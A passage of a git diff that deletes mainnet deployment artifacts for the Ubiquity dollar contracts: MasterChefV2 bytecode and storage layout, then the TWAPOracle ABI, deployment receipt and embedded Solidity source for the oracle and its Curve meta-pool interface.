163740000006044820152606401610291565b600080866001600160a01b031685876040516114a891906118e4565b60006040518083038185875af1925050503d80600081146114e5576040519150601f19603f3d011682016040523d82523d6000602084013e6114ea565b606091505b50915091506114fa828286611665565b979650505050505050565b600061150f61169e565b905060006006548211156115355760055460065461152d90846119bb565b11905061154a565b6005548260065461154691906119bb565b1190505b801561166157600260009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b15801561159e57600080fd5b505afa1580156115b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d69190611844565b60048054604051631e53a55760e21b815291820152602481018490526001600160a01b03919091169063794e955c9060440160206040518083038186803b15801561162057600080fd5b505afa158015611634573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165891906118b4565b60045560068290555b5050565b60608315611674575081610d8a565b8251156116845782518084602001fd5b8160405162461bcd60e51b81526004016102919190611931565b60025460408051638fe6368360e01b815290516000926001600160a01b031691638fe63683916004808301926020929190829003018186803b1580156116e357600080fd5b505afa1580156116f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171b9190611844565b6001600160a01b031663283583c6600260009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561177757600080fd5b505afa15801561178b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117af9190611844565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156117ee57600080fd5b505afa158015611802573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eaa91906118b4565b60405180604001604052806002906020820280368337509192915050565b600060208284031215611855578081fd5b8151610d8a81611a14565b600080600060608486031215611874578182fd5b833561187f81611a14565b95602085013595506040909401359392505050565b6000602082840312156118a5578081fd5b81518015158114610d8a578182fd5b6000602082840312156118c5578081fd5b5051919050565b6000602082840312156118dd578081fd5b5035919050565b600082516118f68184602087016119d2565b9190910192915050565b60408101818360005b6002811015611928578151835260209283019290910190600101611909565b50505092915050565b60006020825282518060208401526119508160408501602087016119d2565b601f01601f19169190910160400192915050565b60008219821115611977576119776119fe565b500190565b60008261199757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119b6576119b66119fe565b500290565b6000828210156119cd576119cd6119fe565b500390565b60005b838110156119ed5781810151838201526020016119d5565b838111156112db5750506000910152565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611a2957600080fd5b5056fea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106101005760003560e01c806378b3139b1161009757806389c80b6b1161006657806389c80b6b146101f6578063b5c5f67214610209578063c0d8012c1461021c578063ffd65a491461022f57610100565b806378b3139b146101a75780637b80a5c0146101ba5780637e7d09ca146101da5780637eb751c7146101e357610100565b806321933933116100d357806321933933146101625780633a98ef391461016b57806347e54e3814610173578063481c6a751461017c57610100565b8063053f14da146101055780630efe6a8b1461012157806316f0115b146101365780631aeb2d0914610159575b600080fd5b61010e60065481565b6040519081526020015b60405180910390f35b61013461012f366004611860565b610242565b005b600854600954610144919082565b60408051928352602083019190915201610118565b61010e60045481565b61010e60055481565b60015461010e565b61010e60035481565b60025461018f906001600160a01b031681565b6040516001600160a01b039091168152602001610118565b6101346101b53660046118cc565b610391565b6101cd6101c83660046118cc565b61050a565b6040516101189190611900565b61010e60075481565b61010e6101f13660046118cc565b610542565b6101346102043660046118cc565b6105fc565b610134610217366004611860565b610747565b61010e61022a3660046118cc565b6109c5565b61013461023d3660046118cc565b610b93565b6002600054141561029a5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b60026000819055546040805163de71c1db60e01b815290516001600160a01b039092169163de71c1db91600480820192602092909190829003018186803b1580156102e457600080fd5b505afa1580156102f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031c9190611844565b6001600160a01b0316336001600160a01b03161461037c5760405162461bcd60e51b815260206004820181905260248201527f4d6173746572436865663a206e6f7420426f6e64696e6720436f6e74726163746044820152606401610291565b610387838383610d91565b5050600160005550565b60025460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b1580156103de57600080fd5b505afa1580156103f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061041691906118b4565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561045357600080fd5b505afa158015610467573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b9190611894565b6104d75760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e6167657200000000006044820152606401610291565b600581905560405181907fee9ca614114d0b14b7c182d61fbc2e9aed69823d5f4a3a6436f95da3a6d0a82490600090a250565b610512611826565b506040805180820182526000838152600a6020818152938220805484529490915282526001909201549082015290565b6000818152600a6020526040812060095460085443118015610565575060015415155b156105c7576000610574610e8c565b90506000670de0b6b3a76400006003548361058f919061199c565b610599919061197c565b6001549091506105ae8264e8d4a5100061199c565b6105b8919061197c565b6105c29084611964565b925050505b6001820154825464e8d4a51000906105e090849061199c565b6105ea919061197c565b6105f491906119bb565b949350505050565b60025460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b15801561064957600080fd5b505afa15801561065d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068191906118b4565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156106be57600080fd5b505afa1580156106d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f69190611894565b6107425760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e6167657200000000006044820152606401610291565b600755565b6002600054141561079a5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610291565b60026000819055546040805163de71c1db60e01b815290516001600160a01b039092169163de71c1db91600480820192602092909190829003018186803b1580156107e457600080fd5b505afa1580156107f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081c9190611844565b6001600160a01b0316336001600160a01b03161461087c5760405162461bcd60e51b815260206004820181905260248201527f4d6173746572436865663a206e6f7420426f6e64696e6720436f6e74726163746044820152606401610291565b6000818152600a6020526040902080548311156108db5760405162461bcd60e51b815260206004820152601360248201527f4d433a20616d6f756e7420746f6f2068696768000000000000000000000000006044820152606401610291565b6108e3610eaf565b600181015460095482546000929164e8d4a5100091610902919061199c565b61090c919061197c565b61091691906119bb565b905061092285826111aa565b8382600001600082825461093691906119bb565b9091555050600954825464e8d4a51000916109509161199c565b61095a919061197c565b8260010181905550836001600082825461097491906119bb565b909155505060405184815283906001600160a01b038716907ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689060200160405180910390a350506001600055505050565b6002546040805163310c7a0f60e21b815290516000926001600160a01b03169163c431e83c916004808301926020929190829003018186803b158015610a0a57600080fd5b505afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611844565b604051627eeac760e11b8152336004820152602481018490526001600160a01b03919091169062fdd58e9060440160206040518083038186803b158015610a8857600080fd5b505afa158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac091906118b4565b600114610b0f5760405162461bcd60e51b815260206004820152601760248201527f4d533a2063616c6c6572206973206e6f74206f776e65720000000000000000006044820152606401610291565b6000828152600a60205260409020610b25610eaf565b600181015460095482546000929164e8d4a5100091610b44919061199c565b610b4e919061197c565b610b5891906119bb565b9050610b6433826111aa565b600954825464e8d4a5100091610b799161199c565b610b83919061197c565b6001909201919091559050919050565b60025460408051633b4d977360e01b815290516001600160a01b03909216916391d14854918391633b4d977391600480820192602092909190829003018186803b158015610be057600080fd5b505afa158015610bf4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1891906118b4565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610c5557600080fd5b505afa158015610c69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8d9190611894565b610cd95760405162461bcd60e51b815260206004820152601b60248201527f4d6173746572436865663a206e6f7420554251206d616e6167657200000000006044820152606401610291565b600381905560405181907f7f2defb81cc3cff687ded0c71592c972625223425d9b43db42a0a79b0fbf4bb790600090a250565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b179052610d739084906112e1565b505050565b6060610d8784846000856113c6565b90505b9392505050565b6000818152600a60205260409020610da7610eaf565b805415610def57600181015460095482546000929164e8d4a5100091610dcd919061199c565b610dd7919061197c565b610de191906119bb565b9050610ded85826111aa565b505b82816000016000828254610e039190611964565b9091555050600954815464e8d4a5100091610e1d9161199c565b610e27919061197c565b81600101819055508260016000828254610e419190611964565b909155505060405183815282906001600160a01b038616907f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159060200160405180910390a350505050565b60045460085460009190610ea090436119bb565b610eaa919061199c565b905090565b6008544311610ebd576111a8565b610ec5611505565b600154610ed557436008556111a8565b6000610edf610e8c565b90506000670de0b6b3a764000060035483610efa919061199c565b610f04919061197c565b9050600260009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5457600080fd5b505afa158015610f68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8c9190611844565b6040516340c10f1960e01b8152306004820152602481018390526001600160a01b0391909116906340c10f1990604401600060405180830381600087803b158015610fd657600080fd5b505af1158015610fea573d6000803e3d6000fd5b50505050600260009054906101000a90046001600160a01b03166001600160a01b031663b42165d06040518163ffffffff1660e01b815260040160206040518083038186803b15801561103c57600080fd5b505afa158015611050573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110749190611844565b6001600160a01b03166340c10f19600260009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110d057600080fd5b505afa1580156110e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111089190611844565b600754611115908561197c565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b15801561115b57600080fd5b505af115801561116f573d6000803e3d6000fd5b505050506001548164e8d4a51000611187919061199c565b611191919061197c565b60095461119e9190611964565b6009555050436008555b565b60025460408051630b42165d60e41b815290516000926001600160a01b03169163b42165d0916004808301926020929190829003018186803b1580156111ef57600080fd5b505afa158015611203573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112279190611844565b6040516370a0823160e01b81523060048201529091506000906001600160a01b038316906370a082319060240160206040518083038186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906118b4565b9050808311156112c7576112c26001600160a01b0383168583610d0c565b6112db565b6112db6001600160a01b0383168585610d0c565b50505050565b6000611336826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610d789092919063ffffffff16565b805190915015610d7357808060200190518101906113549190611894565b610d735760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610291565b60608247101561143e5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610291565b843b61148c5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610291565b600080866001600160a01b031685876040516114a891906118e4565b60006040518083038185875af1925050503d80600081146114e5576040519150601f19603f3d011682016040523d82523d6000602084013e6114ea565b606091505b50915091506114fa828286611665565b979650505050505050565b600061150f61169e565b905060006006548211156115355760055460065461152d90846119bb565b11905061154a565b6005548260065461154691906119bb565b1190505b801561166157600260009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b15801561159e57600080fd5b505afa1580156115b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d69190611844565b60048054604051631e53a55760e21b815291820152602481018490526001600160a01b03919091169063794e955c9060440160206040518083038186803b15801561162057600080fd5b505afa158015611634573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165891906118b4565b60045560068290555b5050565b60608315611674575081610d8a565b8251156116845782518084602001fd5b8160405162461bcd60e51b81526004016102919190611931565b60025460408051638fe6368360e01b815290516000926001600160a01b031691638fe63683916004808301926020929190829003018186803b1580156116e357600080fd5b505afa1580156116f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171b9190611844565b6001600160a01b031663283583c6600260009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561177757600080fd5b505afa15801561178b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117af9190611844565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156117ee57600080fd5b505afa158015611802573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eaa91906118b4565b60405180604001604052806002906020820280368337509192915050565b600060208284031215611855578081fd5b8151610d8a81611a14565b600080600060608486031215611874578182fd5b833561187f81611a14565b95602085013595506040909401359392505050565b6000602082840312156118a5578081fd5b81518015158114610d8a578182fd5b6000602082840312156118c5578081fd5b5051919050565b6000602082840312156118dd578081fd5b5035919050565b600082516118f68184602087016119d2565b9190910192915050565b60408101818360005b6002811015611928578151835260209283019290910190600101611909565b50505092915050565b60006020825282518060208401526119508160408501602087016119d2565b601f01601f19169190910160400192915050565b60008219821115611977576119776119fe565b500190565b60008261199757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119b6576119b66119fe565b500290565b6000828210156119cd576119cd6119fe565b500390565b60005b838110156119ed5781810151838201526020016119d5565b838111156112db5750506000910152565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611a2957600080fd5b5056fea164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "getBondingShareInfo(uint256)": { - "details": "get the amount of shares and the reward debt of a bonding share ." - }, - "getRewards(uint256)": { - "details": "get pending uGOV rewards from MasterChef.", - "returns": { - "_0": "amount of pending rewards transfered to msg.sender" - } - }, - "totalShares()": { - "details": "Total amount of shares ." - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "getRewards(uint256)": { - "notice": "only send pending rewards" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 574, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "_status", - "offset": 0, - "slot": "0", - "type": "t_uint256" - }, - { - "astId": 12458, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "_totalShares", - "offset": 0, - "slot": "1", - "type": "t_uint256" - }, - { - "astId": 12461, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "manager", - "offset": 0, - "slot": "2", - "type": "t_contract(UbiquityAlgorithmicDollarManager)14504" - }, - { - "astId": 12463, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "uGOVPerBlock", - "offset": 0, - "slot": "3", - "type": "t_uint256" - }, - { - "astId": 12466, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "uGOVmultiplier", - "offset": 0, - "slot": "4", - "type": "t_uint256" - }, - { - "astId": 12469, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "minPriceDiffToUpdateMultiplier", - "offset": 0, - "slot": "5", - "type": "t_uint256" - }, - { - "astId": 12472, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "lastPrice", - "offset": 0, - "slot": "6", - "type": "t_uint256" - }, - { - "astId": 12474, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "uGOVDivider", - "offset": 0, - "slot": "7", - "type": "t_uint256" - }, - { - "astId": 12477, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "pool", - "offset": 0, - "slot": "8", - "type": "t_struct(PoolInfo)12456_storage" - }, - { - "astId": 12482, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "_bsInfo", - "offset": 0, - "slot": "10", - "type": "t_mapping(t_uint256,t_struct(BondingShareInfo)12451_storage)" - } - ], - "types": { - "t_contract(UbiquityAlgorithmicDollarManager)14504": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_uint256,t_struct(BondingShareInfo)12451_storage)": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => struct MasterChefV2.BondingShareInfo)", - "numberOfBytes": "32", - "value": "t_struct(BondingShareInfo)12451_storage" - }, - "t_struct(BondingShareInfo)12451_storage": { - "encoding": "inplace", - "label": "struct MasterChefV2.BondingShareInfo", - "members": [ - { - "astId": 12448, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "amount", - "offset": 0, - "slot": "0", - "type": "t_uint256" - }, - { - "astId": 12450, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "rewardDebt", - "offset": 0, - "slot": "1", - "type": "t_uint256" - } - ], - "numberOfBytes": "64" - }, - "t_struct(PoolInfo)12456_storage": { - "encoding": "inplace", - "label": "struct MasterChefV2.PoolInfo", - "members": [ - { - "astId": 12453, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "lastRewardBlock", - "offset": 0, - "slot": "0", - "type": "t_uint256" - }, - { - "astId": 12455, - "contract": "contracts/MasterChefV2.sol:MasterChefV2", - "label": "accuGOVPerShare", - "offset": 0, - "slot": "1", - "type": "t_uint256" - } - ], - "numberOfBytes": "64" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/TWAPOracle.json b/packages/contracts/dollar/deployments/mainnet/TWAPOracle.json deleted file mode 100644 index 1e7c97d4c..000000000 --- a/packages/contracts/dollar/deployments/mainnet/TWAPOracle.json +++ /dev/null @@ -1,229 +0,0 @@ -{ - "address": "0x7944d5b8f9668AfB1e648a61e54DEa8DE734c1d1", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_pool", - "type": "address" - }, - { - "internalType": "address", - "name": "_uADtoken0", - "type": "address" - }, - { - "internalType": "address", - "name": "_curve3CRVtoken1", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "token", - "type": "address" - } - ], - "name": "consult", - "outputs": [ - { - "internalType": "uint256", - "name": "amountOut", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pool", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "price0Average", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "price1Average", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "name": "priceCumulativeLast", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pricesBlockTimestampLast", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "token0", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "token1", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "update", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ], - "transactionHash": "0x7a50fdcc8e88b4c790d2151ca30c899bb1cc803de6e8ee841b952bdc6c73c4b3", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x7944d5b8f9668AfB1e648a61e54DEa8DE734c1d1", - "transactionIndex": 52, - "gasUsed": "640042", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0xc129238f577a2d626e598e41e89b030de377f9c62a1d1d03058e8998dbdf2d44", - "transactionHash": "0x7a50fdcc8e88b4c790d2151ca30c899bb1cc803de6e8ee841b952bdc6c73c4b3", - "logs": [], - "blockNumber": 12596399, - "cumulativeGasUsed": "5060114", - "status": 1, - "byzantium": true - }, - "args": ["0x20955CB69Ae1515962177D164dfC9522feef567E", "0x0F644658510c95CB46955e55D7BA9DDa9E9fBEc6", "0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_pool\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_uADtoken0\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_curve3CRVtoken1\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"}],\"name\":\"consult\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"amountOut\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pool\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"price0Average\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"price1Average\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"priceCumulativeLast\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pricesBlockTimestampLast\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"token0\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"token1\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/TWAPOracle.sol\":\"TWAPOracle\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns 